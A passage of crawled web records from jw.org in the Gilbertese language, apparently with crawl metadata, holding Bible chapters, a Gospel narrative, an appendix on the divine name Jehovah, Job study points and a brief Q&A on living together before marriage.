ane e aki karekea buuna.+ 39 E bae te aine irouni buuna n ana bong ni maiu teuaei ni kabane.+ Ma ngkana e a matunako n te mate buuna, ao e a inaomata ni manga mare ma ane e tangiria, ma tii i nanon te Uea.+ 40 Ma n au iango, e kukurei riki ngkana e tiku n arona, ao I taku bwa bon iai naba irou taamnein te Atua.\n^ Ae taekan ae e na wene n taanga ma ngaia.\n^ Ana bururare te taeka ni Kuriiti ae por·neiʹa. Nora Nanon Taeka.\n^ E kaineti aei ma te wene n taanga n te mare.\n^ Ke, \"raure.\"\n^ Nora Buk. A5.\n^ Ke, \"mwaane aika tuai ni boo ma aine, ao aine aika tuai ni boo ma mwaane.\"\n^ Nora Nanon Taeka, \"Taamnei.\"\n^ Kuriiti, \"N na kaaki te bwai ni kamwane i aomi.\"\n^ Ke, \"ni kaineti ma arona n tuai n iein.\"\n^ Ke, \"kawakina arona n tuai n iein.\"","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/1-i-korinto\/7\/","date":"2018-01-24T10:52:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084893629.85\/warc\/CC-MAIN-20180124090112-20180124110112-00036.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1352,"character_repetition_ratio":0.057,"word_repetition_ratio":0.012,"special_characters_ratio":0.252,"stopwords_ratio":0.459,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"TE KAUTIUTI I NAIN\nImwini kautan naba ngkekei ana toro te mataniwi n tautia, ao e a kitana Kaberenaum Iesu nako Nain ae te kaawa ae raka i aon 20 te maire raroana nako maiakimaeao. Tiaki tii ngaia ni mwananga. E mwananga ma taan rimwina ao aomata aika uanao. Tao e a kaani bong ngke a a roko i tabon Nain, ao a a kaitiboo iai ma taan taunimate aika bon tau mwaitiia. E uouotaki rabwatan te roronga temanna bwa e na taunaki i tinanikun te kaawa.\nTe aomata ae rangi n taonaki n te rawawata i buakoia bon tinan te teuanne. Neiei bon te aine ae e a tia ni mate buuna ao ngkai e a manga mate natina ae ana rikitemanna. Ngke e mate buuna ngkoa ao bon iai natina te mwaane ae tangiraki irouna ae tiku ma ngaia. Iangoa aron reitakina ae rangi ni kaan ma natina bwa a boto ana kantaninga ma mweraoina ibukin taai aika a na roko i nanoni bain natina aei. Ma ngkai e a manga mate natina, antai ngkanne ae e na raonna ao ni boutokaia?\nNgke e nora te aine aei Iesu, ao e rotaki nanona n rawawatan neiei ae korakora ao n nanokawakina n te baere e riki nakoina. E katuruturua ana taeka ae karaunano ma n akoi ae kangai: \"Tai tang.\" Ma e bati riki ae e karaoia. E kaania ao n ringa te kai n tabetabe are e uotaki iai te mate. (Ruka 7:13, 14) A a rina n tei taan tanginiwenei n aron Iesu aei ao n ana mwakuri. A bae ni bati ake a iangoa aei, 'tera ae e nanonna ao tera ae e nang karaoia?'\nAo tera aroia te koraki ake a mwananga ma Iesu ake a a tia n noria ni karaoi kakai ao ni kamarurungia aoraki aika bati? Tao a tuai n noria ni kauta te mate. E ngae ngke iai kautiuti aika karaoaki n taai aika bwakanako, ma e kona Iesu ni karaoa aei? (1 Uea 17:17-23; 2 Uea 4:32-37) E tua ni kangai: \"Te roronga, I tuangko, Teirake!\" (Ruka 7:14) Ao anne te bwai ae riki. E a teirake n tekateka teuarei, ao e a taetae! E anga teuarei Iesu nakon tinana are e kubanrou ma e a rangi ni kimwareirei. E a aikoa tiku n tii ngaia neiei.\nNgke a noria aomata bwa e a boni maiu te roronga aei, ao a karaoiroa Iehova are te tia Anga te Maiu ni kangai: \"E a kaoti te burabeti ae kakannato i buakora.\" Iai tabeman riki ake a ataia bwa a rangi ni kakawaki ao ni kamimi baike e karaoi Iesu ao a taku: \"E a nanoangaiia ana aomata te Atua.\" (Ruka 7:16) E waekoa ni butinako rongorongon te bwai ae kamimi aei n taabo ake a uakaan ao tao n ana kaawa Iesu ae Natareta ae onoua tabun te maire raroana. E rokoroko naba te rongorongo aei i maiaki nako Iutaia.\nE boni mena naba Ioane te tia Bwabetito n te karabuuti, ao e a rangi ni kan atai mwakuri ake e karaoi Iesu. A karakini kakai aikai nakoina taan rimwina. Tera ana kaeka?","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/iesu\/mwakuri-ni-minita-i-kariraia\/kautia-te-aine-ae-e-a-tia-ni-mate-buuna-nain-natina\/","date":"2018-01-24T00:16:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084892802.73\/warc\/CC-MAIN-20180123231023-20180124011023-00195.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":514,"character_repetition_ratio":0.042,"word_repetition_ratio":0.0,"special_characters_ratio":0.241,"stopwords_ratio":0.442,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko tangiria ni wareka te kaongora aei n %%?\nKo tangiria ni wareka te kaongora aei n %%?\nTe Baibara n te Intanete | TE BAIBARA AE TABU-TE RAIRAI AE TE AONNABA AE BOOU (MANGA RINANOAKI N 2013 )\n13 A a manga karaoa naba ae buakaka tibun Iteraera i matan Iehova,+ ao e anga ngaiia Iehova nako nanoni baia I-Biritia+ i nanon 40 te ririki. 2 N te tai anne ao iai te mwaane temanna ae kaain Toraa+ man aia utu tibun Tan,+ ae arana Manoa.+ E kanoabo buun teuaei ao akea natina.+ 3 Imwina riki ao e kaoti ana anera Iehova nakon te aine aei ao e taku nakoina: \"Noria, ko kanoabo ao akea natim. Ma ane ko na bikoukou ao ko na bungia te nati te mwaane.+ 4 Ko na taratara raoi ngkai n aki ninima te wain ke te moi teuana ae kamanging,+ ao tai kana te amwarake teuana ae kamwara.+ 5 Noria! Ane ko na bikoukou ao ko na bungia te nati te mwaane, ao e aki riai n roko te mwariro i aon atuna,+ ibukina bwa e na riki te teei bwa ana Natiraite te Atua mani moani bungiakina,* ao e na kaira kamaiuaia tibun Iteraera mai nanoni baia I-Biritia.\"+ 6 Ao e nako te aine arei ao e tuanga buuna ni kangai: \"E roko irou ana aomata te Atua ae koaua, ao taraan te mwaane arei ai aron ana anera te Atua ae koaua, ao e rangi ni kamimi ma ni kakamaaku. I aki titirakinna bwa e mwananga mai ia, ao e aki naba tuangai arana.+ 7 Ma e taku nakoiu, 'Noria! Ane ko na bikoukou ao ko na bungia te nati te mwaane. Tai ninima ngkai te wain ke te moi teuana ae kamanging, ao tai kana te amwarake teuana ae kamwara, ibukina bwa e na riki te teei bwa ana Natiraite te Atua mani moani bungiakina* ni karokoa matena.'\" 8 Ao Manoa e bubutiia Iehova ao e taku: \"Taiaoka Iehova. Taiaoka ma kariaia ana aomata te Atua ae koaua are ko a tibwa tia ni kanakomaia, bwa e na manga roko riki bwa e na reireinira te bwai ae ti riai ni karaoia nakon te teei ae e na bungiaki aei.\" 9 Mangaia are e ongo te Atua ae koaua irouni Manoa, ao e a manga roko ana anera te Atua ae koaua iroun te aine arei ngke e tekateka n te tawaana, ao akea Manoa are buuna i rarikina. 10 Ao e kawaekoaa neierei ni birinako n tuanga buuna ni kangai: \"Akea bwa e a manga kaoti naba nakoiu te mwaane are roko ngkoa irou n te bong arei.\"+ 11 E teirake ngkanne Manoa ao e ira buuna. Ao e roko iroun te mwaane arei ao e taku nakoina: \"Ngkoe te mwaane are ko taetae nakoni buu?\" Ao e taku: \"Boni ngai.\" 12 E taku ngkanne Manoa: \"A bia koro bukin am taeka! E na kangaa ni kaikawaaki te teei, ao tera ae e na karaoia?\"+ 13 Mangaia are e taku ana anera Iehova nakoni Manoa: \"E riai ni kawakinna buum mani bwaai ni kabane ake I tuangnga.+ 14 E aki riai ni kana te amwarake ae karaoaki man te kureebe, e aki riai ni moi n te wain ke n te moi teuana ae kamanging,+ ao e aki riai ni kana te amwarake teuana ae kamwara.+ Ke e kawakini bwaai ni kabane ake I tua nakoina.\" 15 E taku ngkanne Manoa nakon ana anera Iehova: \"Taiaoka ma tiiku ao kariaia bwa ti na katauraoa te kooti ae ataei ibukim.\"+ 16 Ma e taku ana anera Iehova nakoni Manoa: \"Ngkana I tiku, ao N na aki kana am amwarake, ma ngkana ko kan anga te karea ni kabuekaki nakon Iehova, ao ko kona ni kareanna.\" E aki ataia Manoa ae bon ana anera Iehova. 17 E taku ngkanne Manoa nakon ana anera Iehova: \"Antai aram,+ bwa ti aonga ni karineko ngkana e koro bukin am taeka?\" 18 Ma e taku ana anera Iehova nakoina: \"E aera ngkai ko a titiraki arau, ngkai e rangi ni kamimi?\" 19 E anaa ngkanne te kooti ae ataei Manoa ao te karea ae te amwarake* ao e karean i aon te atibu ae bubura nakon Iehova. Ao E karaoa te bwai ae rangi ni kamimi ao a mataku Manoa ma buuna. 20 Ngke e waerake nako karawa te ai man te baonikarea, ao e waerake naba ana anera Iehova i nanon te ai are waerake man te baonikarea, ao a mataku Manoa ma buuna. A aki tabwara ma a a katorobubua naba ni bobaraaki nako aontano. 21 Ao e a aikoa manga kaoti ana anera Iehova nakoni Manoa ma buuna. E a ataia ngkanne Manoa bwa bon ana anera Iehova.+ 22 E taku ngkanne Manoa nakoni buuna: \"Ti na boni mate, ibukina bwa ti a tia n nora te Atua.\"+ 23 Ma e taku buuna nakoina: \"Ngke arona bwa e kani kamateira Iehova, ao e na bon aki butimwaea te karea ni kabuekaki+ ao te karea ae te amwarake mai baira, ao e na bon aki kaotii nakoira baikai ni kabane, ao e na bon aki tuangira baikai.\" 24 Imwina riki ao e a bungia neiei te nati te mwaane ao e aranna bwa Tamton,+ ao e teimatoa ni kakabwaiaa te teinimwaane aei Iehova n ana tai n ikawairake. 25 Imwina riki ao e a moanna ni kairaki teuaei n taamnein Iehova+ i Maanetan,+ i marenan Toraa ma Etitaora.+","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/taani-motikitaeka\/13\/","date":"2018-01-22T20:54:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084891539.71\/warc\/CC-MAIN-20180122193259-20180122213259-00270.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":874,"character_repetition_ratio":0.077,"word_repetition_ratio":0.043,"special_characters_ratio":0.248,"stopwords_ratio":0.445,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E kaotaki aran te Atua n aua manin te taetae n Ebera aika יהוה n te mwaiti ae kaania 7,000 te tai n te Koroboki ae Tabu n te Taetae n Ebera. N te rairai aei ao a rairaki bwa \"Iehova\" maan akana aua akanne aika ataaki bwa te Tetragrammaton. E rangi ni bati riki kabonganaan te ara anne n te Baibara nakon aara nako. E ngae ngke taani korea te Baibara ake a kairaki n taamnein te Atua a taekina te Atua n nakoana aika bati ao kabwarabwaraana n aron teuare \"Moan te Mwaaka,\" \"Moan te Rietata,\" ao \"te Uea,\" ma te Tetragrammaton bon tii ngaia te ara ae a kabongana ibukin te Atua.\nE kairiia taani korea te Baibara Iehova ae te Atua bwa a na kabongana arana. N te katoto, e kaira te burabeti are Ioera bwa e na korea ae kangai: \"Ane e taboa aran Iehova e na kamaiuaki.\" (Ioera 2:32) E kaira naba te tia areru te Atua bwa e na korea ae kangai: \"Ke a ataiko aomata ae Iehova aram, bwa bon tii ngkoe Teuare Moan te Rietata n te aonnaba ni kabutaa.\" (Taian Areru 83:18) E boni kaoti aran te Atua n te mwaiti ae 700 tabun te tai n tii te boki ae Taian Areru, ae te boki ae kanoana taiani kario ake a oteaki bwa a na aneneaki ao ni kamatenikunaaki irouia ana aomata te Atua. Ma e aera ngkanne ngkai akea aran te Atua n rairai n te Baibara aika bati? E aera te rairai aei ngkai e kabongana te ara ae \"Iehova\"? Ao tera nanon te ara ae Iehova?\nE aera ngkai akea aran te Atua n rairai n te Baibara aika bati? A kakaokoro bukina. A taku tabeman bwa e aki kainnanoa arana ae okoro te Atua ae Moan te Mwaaka bwa e na kinaaki iai. N taraana ao a reketaati tabemwaang n te katei n Iutaia ae a aki kakabongana te ara anne, bwa a rawa ni bakanrereia. Ma a kakoauaa ake tabemwaang bwa ngkai akea ae e ataa raoi aron atongan aran te Atua, e raoiroi riki kabonganaan te nakoa n aron \"te Uea\" ke \"te Atua.\" Ma bon akea manenan iango ni kakaaitara akanne n aron ae oti ni koaua aikai:\nNaake a kauntaekaia bwa e aki kainnanoa te ara ae okoro te Atua ae Moan te Mwaaka, a aki mutiakini bwaai ni kakoaua aika kaotia bwa iai aran te Atua ni katoton Ana Taeka te Atua aika bwain rimoa n ikotaki naba ma ake a karaoaki imwain ana tai Kristo. N aron ae kaotaki i eta, e kairiri te Atua bwa e na karinaki arana n Ana Taeka n te mwaiti ae tao 7,000 te tai. E teretere iai bwa e tangirira bwa ti na ataa arana ma ni kakabongana.\nTaan raitaeka ake a kanakoa aran te Atua ibukini karinean te katei n Iutaia, a kakeaa te koaua ae rangi ni kakawaki, ae e ngae ngke a rawa tabeman taani koroboki aika I-Iutaia n taekina te ara anne, ma a bon aki kamauna mani katoton aia Baibara. Bon iai te ara anne n taabo aika bati n taian nira ni boki rimoa ake a kuneaki i Kumran, ae uakaan ma Taari ae Mate. Tabeman taan raira te Baibara a kataia ni kaotia bwa iai aran te Atua n te moani koroboki, n aroia n onea mwina n te nakoa ae \"TE UEA\" ae bubura manna. Ma e teimatoa n aki kaekaaki te titiraki ae, E aera ngkai a aki maaku taan raitaeka aikai n onea mwin aran te Atua ke ni kanakoa man te Baibara, ngkai a bon ataia ae iai n te Baibara nga ma nga te tai? Antai ae angania inaomataia ni karaoa te bitaki anne? Tao tii ngaiia aika ataa kaekaana.\nIai ake a taekinna bwa e aki riai ni kabonganaaki aran te Atua ibukina bwa e aki ataaki raoi atongana, ma a boni kabongana te ara ae Iesu e ngae ngke e kaokoro atongan aran Iesu irouia taan rimwina n te moan tienture, ma ae a tataekinna ngkai angia Kristian. Irouia Kristian aika I-Iutaia ao atongan te ara ae Iesu tao Ye·shuʹa', ao te nakoa ae \"Kristo\" boni Ma·shiʹach, ke \"Mesia.\" Kristian ake a kabongana te taetae ni Kuriiti a aranna bwa I·e·sousʹ Khri·stosʹ, ao Kristian ake a kabongana te taetae n Ratine a taekina Ieʹsus Chriʹstus. I aan ana kairiri te Atua, e koreaki n te Baibara rairan aran Iesu n te taetae ni Kuriiti, ao e oti iai bwa Kristian ake n te moan tienture a karaoa ae raoiroi ma n eti ngke a kabongana tein te ara anne ae e taneiai te aba iai. N aron naba anne, e iangoia te Komete Ibukin Rairan te Baibara ae te rairai ae Te Aonnaba ae Boou bwa e bon riai naba kabonganaan te ara ae \"Iehova,\" e ngae ngke te rairai anne bon tiaki raoi aron atongana n te taetae n Ebera rimoa.\nBukin tera ngkai te rairai ae Te Aonnaba ae Boou e kabongana te ara ae \"Iehova\"? Maan ake aua ake te Tetragrammaton (יהוה) a kaotaki ni manin te taetae n Ingiriti aika YHWH. A aki karinaki taiani waueri n taeka ni kabane aika koreaki n te taetae n Ebera nikawai, ao akea naba taiani waueri n te Tetragrammaton. Ngke e taabangaki kabonganaan te taetae n Ebera rimoa ao a a bon tii karin naba waueri aika kainnanoaki aomata ngkana a wareware.\nTao tenga te ririki imwin tian te Koroboki ae Tabu n te Taetae n Ebera, ao I-Iutaia aika taan rabakau a otei kanikina tabeua n aia koroboki ake a na kaotia bwa waueri raa aika a na kabonganaaki ngkana e warekaki te taetae n Ebera. Ma n te tai naba anne ao a bati I-Iutaia ake a kakairi n te iango ae kairua ae e bure atongan aran te Atua ni kabaibati, ngaia are a a kabonganai taeka tabeua n onea mwina iai. N taraana ngke a kaewea te Tetragrammaton, ao a ikotii maan ake aua ake te Tetragrammaton ma waueri ake man taeka ake a onea iai mwin aran te Atua. Mangaia are koroboki nikawai ma kanikina aika kotei waueri akanne, a aki ibuobuoki ni kaotia bwa tera raoi aron atongan te ara anne n te taetae n Ebera rimoa. A taku tabeman bwa e eti \"Yahweh\" ke \"Iawe,\" ma e kaokoro atongana irouia ake tabemwaang. Te Nira ni Boki teuana Man Taari ae Mate ae mena iai mwakoron Nakoaia Ibonga n te taetae ni Kuriiti, e koreaki aran te Atua iai bwa Iao. Irarikin teina anne, ao taani koroboki mai Kuriiti rimoa a iangoia bwa atongana bon Iae, I·a·beʹ, ao I·a·ou·eʹ. Ma e aki riai ni matoatoa te aba n te itera aei. Ti bon aki ataa aroia ana toro te Atua rimoa n atonga te ara aei n te taetae n Ebera. (Karikani Bwaai 13:4; Te Otinako 3:15) Ma ti bon ataia bwa e okioki te Atua ni kabongana arana n reitakina ma ana aomata, a weteia n arana aei, ao a kakabongana ngkana a taetae nakoia tabemwaang.—Te Otinako 6:2; 1 Uea 8:23; Taian Areru 99:9.\nBukin tera ngkai te rairai aei e kabongana te ara ae \"Iehova\"? Ibukina bwa tein aran te Atua anne e a kamani kakabonganaaki n te taetae ni Kiribati.\nTe moan rairai n aran te Atua n te Baibara n te taetae n Ingiriti e kaoti n 1530 n ana rairai William Tyndale n te Bentateuki. E kabongana te ara ae \"Iehouah.\" Imwina riki ao e a bitaki te taetae n Ingiriti ao e a manga kaboouaki riki aroni korean aran te Atua. N te katoto, n 1612 ao Henry Ainsworth e kabongana te ara ae \"Iehovah\" n ana rairai n te boki ae Taian Areru. Ao n 1639 ngke e a manga rinanoaki riki te rairai anne ao ni boreetiaki ma te Bentateuki, ao e a kabonganaaki te ara ae \"Jehovah.\" N 1901, ao taan raitaeka ake a katauraoa te Baibara ae te American Standard Version a kabongana te ara ae \"Jehovah\" ike e kaoti iai aran te Atua n te taetae n Ebera.\nE kabwarabwaraa bukini kabonganaan \"Jehovah\" ao tiaki \"Yahweh\" te tia rabakau n te Baibara ae karineaki ae Joseph Bryant Rotherham n ana boki ae karaoaki n 1911 ae Studies in the Psalms. E taekinna iai bwa e kani kabongana \"tein te ara ae a taneiai riki iai (ao e butimwaeaki naba irouia) angia taani wareka te Baibara.\" N 1930 ao te tia rabakau ae A. F. Kirkpatrick e katerea naba te iango ae kuri n titeboo ma anne ni kaineti ma kabonganaan te ara ae \"Jehovah.\" E taku: \"A kauntaekaia taani kuramwa ni boong aikai bwa e riai ni warekaki bwa Yahveh ke Yahaveh; ma n taraana JEHOVAH e oioi raoi n te taetae n Ingiriti, ao te bwai ae kakawaki riki bon tiaki aron raoi atongana, ma bon ataakin ae bon te Ara ni Koaua, ao tiaki tii te ara n nakoa ni kabuta n aron 'te Uea.'\"\nTera nanon te ara ae Iehova? N te taetae n Ebera ao te ara ae Iehova e nako man te weabe ae nanona \"e na riki,\" ao a bati taan rabakau aika iangoia bwa tein te weabe anne e kaota te bwai ae kauekea rikin te bwai teuana. Mangaia are otan te Komete Ibukin Rairan te Baibara ae te rairai ae Te Aonnaba ae Boou, bwa nanon aran te Atua, \"E Karaoia Bwa E na Riki.\" A kakaokoro aia iango taan rabakau i aon aei, ngaia are ti aki kona ni matoatoa ni kaineti ma nanona aei. Ma te kabwarabwara aei e tonu raoi ma aron Iehova ae te tia Karikii bwaai ni kabane ao te tia Kakororaoa ana kantaninga. E aki tii karika te iuniweeti ao aomata aika iai wanawanaia, ma e teimatoa naba ni karokoa ngkai ni kakororaoa nanona ao ana kantaninga n aki ongei baika riiriki.\nMangaia are nanon te ara ae Iehova e aki tii onoti nakon te weabe a re irekereke iai are kuneaki n Te Otinako 3:14, ae kangai: \"N na Ri ki bwa te Bwai ae I Rineia bwa N na Riki Iai\" ke \"N na Kaotai bwa te Bwai ae N na Riki.\" N etina e aki roko raoi kabwarabwaraan nanon aran te Atua n taeka akanne, ma a tii kabwarabwaraa aroaron te Atua teuana are e kaotia bwa e na riki bwa te bwai ae e kainnanoaki iai n te tai teuana ma teuana ibukini kakororaoan ana kantaninga. Mangaia are e ngae ngke e reke te iango aei n te ara ae Iehova, ma e aki onoti nakon te bwai are e rineia bwa e na riki iai. E nanonaki naba iai baike e karaoi ake a irekereke ma ana karikibwai ao kakororaoan ana kantaninga.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/bukinibaa-a\/tetragrammaton-aran-te-atua\/","date":"2018-01-23T07:10:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084891750.87\/warc\/CC-MAIN-20180123052242-20180123072242-00781.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1773,"character_repetition_ratio":0.088,"word_repetition_ratio":0.01,"special_characters_ratio":0.231,"stopwords_ratio":0.452,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E kantaningaia Iehova bwa e na tataro Iobi ibukia Eribati, Biretata, ao Toba\nA tuangaki Eribati, Biretata, ao Toba iroun Iehova bwa a na nakon Iobi ao n anga te karea ni kabuekaki\nE kantaningaaki Iobi bwa e na tataro ibukia\nE kakabwaiaaki Iobi ngke e tia n tataro ibukia\nE bati kakabwaiaan Iobi iroun Iehova ibukin ana onimaki ao nanomwaakana\nE katoka Iehova rawawatan Iobi, ao e kamarurungnga\nE karekea kabebeteana ni koaua Iobi mairouia raoraona ao ana koraki ni baike e karawawataaki iai\nE kaoka Iehova toronibwain Iobi, ni kataboroa n anganna te mwaiti are e a tia ni bua mairouna\nA a manga reke tengaun riki natiia Iobi ma buuna\nE maiu Iobi i nanon 140 riki te ririki ao e kukurei n noriia natina ma tibuna ake te kaaroro","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/jw-te-boki-n-reirei\/mei-2016-mwb\/kaetieti-n-te-botaki-mei2-8\/tataro-iobi-ibukia-tabemwaang\/","date":"2018-01-24T00:09:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084892802.73\/warc\/CC-MAIN-20180123231023-20180124011023-00014.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":132,"character_repetition_ratio":0.07,"word_repetition_ratio":0.0,"special_characters_ratio":0.194,"stopwords_ratio":0.439,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ana kaeka te Baibara\nE katerea te Baibara bwa \"\ne na motiki taekaia taani wene ni bure\" te Atua. (Ebera 13:4) Te taetae ni Kuriiti ibukini \"wene ni bure\" boni por·neiʹa, ae nanonaki naba iai te wene n taanga imwain te mare. Ngaia are e bure i matan te Atua bwa a na kaai ni maeka te mwaane ao te aine aika tuai ni mare, e ngae ngke a iangoia bwa a na boni mare imwina riki.\nMa tera aroia naakai ngkana a a bon rangi n tangira? E tua te Atua bwa a riai ni mare imwain ieinia. Bon te Atua ae karikira ma te konaa n tangira. Aroaron te Atua ae kakawaki bon te tangira. (1 Ioane 4:8) Ngaia are iai bukina ae riai irouna ngkai e tua bwa e na tii kaineti te wene n taanga nakoia taanga ake a a tia ni mare.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/baibara-reirei\/titiraki\/ti-riai-ni-kaai-ni-maeka\/","date":"2018-01-17T23:10:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084886979.9\/warc\/CC-MAIN-20180117212700-20180117232700-00319.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":144,"character_repetition_ratio":0.074,"word_repetition_ratio":0.0,"special_characters_ratio":0.249,"stopwords_ratio":0.444,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko tangiria ni wareka te kaongora aei n %%?\nKo tangiria ni wareka te kaongora aei n %%?\nTe Baibara n te Intanete | TE BAIBARA AE TABU-TE RAIRAI AE TE AONNABA AE BOOU (MANGA RINANOAKI N 2013 )\n21 Bon 12 ana ririki Manate+ ngke e riki bwa te uea, ao e tautaeka i Ierutarem+ i nanon 55 te ririki. Aran tinana Ebitiba. 2 E karaoa ae buakaka i matan Iehova, ni kakairi n aia mwakuri aika riribaaki natannaomata+ ake e kakioianako Iehova mai mwaia tibun Iteraera.+ 3 E a manga katei taabo aika rietata ake e kamaunai tamana are Etekia,+ ao e katei ana baonikarea Baara ao e karaoa te kai ae tabu*+ n aron are e karaoia ngkoa Aaba are uean Iteraera.+ Ao e bobaraaki nakoni bwaini karawa ni kabane ao e toro irouia.+ 4 E katei naba taiani baonikarea n ana auti Iehova,+ are e taetae ni kangai Iehova ibukina: \"N na kaaki arau i Ierutarem.\"+ 5 Ao e katei baonikarea ibukini bwaini karawa ni kabane+ ni katawanang ake uoua ake n ana auti Iehova.+ 6 Ao e kabueka natina te mwaane n te ai,* e tabunea, e ukeri kanikinaeani baika tuai n riki,+ ao e kateirakeia taan rorokoia taimonio ma taani kaiwani kanoan taai aika a na roko.+ E karaoa ae buakaka n te aro ae rangi ni korakora i matan Iehova, ni kaunna iai. 7 E karina naba te bouannanti ae kaaraki are e karaoia ae te kai ae tabu,*+ i nanon te auti, are e kangai ibukina Iehova nakon Tawita ao nakon natina are Toromon: \"N na kaaki arau n aki toki n te auti aei ao i Ierutarem, are I rineia mai buakon aia baronga nako tibun Iteraera.+ 8 Ao N na aki manga kariaia waeia tibun Iteraera bwa a na mwamwananga man te aba are I angania aia bakatibu,+ ma tii ngkana a kakairi raoi ni bwaai ni kabane ake I tua nakoia,+ are te Tua ae tabwanin are e tua nakoia au toro are Mote bwa a na kakairi iai.\" 9 Ma a aki ongeaba, ao e teimatoa Manate ni katiotionakoia, n arona ni kairiia bwa a na karaoi mwakuri aika rangi ni buakaka riki nakoia natannaomata ake e kamaunaia Iehova mai mwaia tibun Iteraera.+ 10 E teimatoa Iehova n taetae rinanoia ana toro aika burabeti+ ni kangai: 11 \"E a tia Manate are uean Iuta ni karaoi baika riribaaki aikai ni kabane, e karaoa ae buakaka riki nakoia taian Amoraite ni kabane+ ake imwaina,+ ao e karekeia tibun Iuta n te bure n ana bouannanti aika kamwara.* 12 Ngaia are e kangai ana taeka Iehova ae Atuan Iteraera: 'Ae N nang karokoa te kabuanibwai i aon Ierutarem+ ao i aoia tibun Iuta, ae a na kubanrou* iai aomata nako ake a ongo taekana.+ 13 Ao N na katika te kora ni baire*+ i aon Ierutarem, are e kabonganaaki ibukin Tamaria,+ ao N na kabongana te bwai ni kaboraoi are e kabonganaaki ibukin ana utu Aaba,+ ao N na kaoa Ierutarem ni kaitiakia n aron temanna ae kaoa te boora ni kaitiakia, bwa e kaoia ao e kabaraakia.+ 14 Ao N na kaaki taekaia nikiraia au aomata+ ao N na anga ngaiia nako nanoni baia aiaia, ao a na riki bwa bwaai ni kuribwai ao kokona n te buaka irouia aiaia ni kabane,+ 15 ibukina bwa a karaoa ae buakaka i matau ao a teimatoa ni kaunai man te bong are a otinako iai aia bakatibu mai Aikubita, ni karokoa te bong aei.'\"+ 16 Irarikin ana bure Manate are e karekeia iai tibun Iuta n te bure, n arona ni karaoa ae buakaka i matan Iehova, ao e katutui naba raraaia aomata aika akea aia bure n te aro ae rangi ni bati, ni karokoa ae e a kaona Ierutarem mai tabona nako tabona.+ 17 Ni kaineti ngkanne ma nikiran rongorongoni Manate ao bwaai ni kabane ake e karaoi ma buure ake e karaoi, tiaki a koreaki n te boki are rongorongon aia tai uean Iuta? 18 Ao e a wene ni motirawa Manate i rarikia ana bakatibu, ao e kaiiaki n onnarokan ana auti, n ana onnaroka Utaa,+ ao e a riki natina are Amon bwa te uea n onea mwina. 19 Bon 22 ana ririki Amon+ ngke e riki bwa te uea, ao e tautaeka i Ierutarem i nanon uoua te ririki.+ Aran tinana Meturemeta are natin Aruuti are mai Iotebaa. 20 E teimatoa ni karaoa ae buakaka i matan Iehova, n aron are e karaoia tamana are Manate.+ 21 E teimatoa n nakonako ni kawain nako tamana ake e nakonako iai, ao e teimatoa n toro ao ni bobaraaki nakoia bouannanti aika kamwara ake e toro irouia tamana.+ 22 Ngaia are e kitana Iehova ae Atuaia ana bakatibu ao e aki nakonako ni kawain Iehova.+ 23 Imwin teutana te tai ao a a bairea te karitei ana toro Amon n ekianako ao a kamatea te uea i nanon ana auti. 24 Ma a bane ni kamateaki taani bairea te karitei nakon te Uea are Amon irouia kaain te aba, ao a kaueaa natina are Iotia n onea mwina.+ 25 Ni kaineti ngkanne ma nikiran rongorongon Amon ao te bwai are e karaoia, tiaki a koreaki n te boki are rongorongon aia tai uean Iuta? 26 Mangaia are a kaiia n ana ruanimate are n ana onnaroka Utaa,+ ao e riki natina are Iotia+ bwa te uea n onea 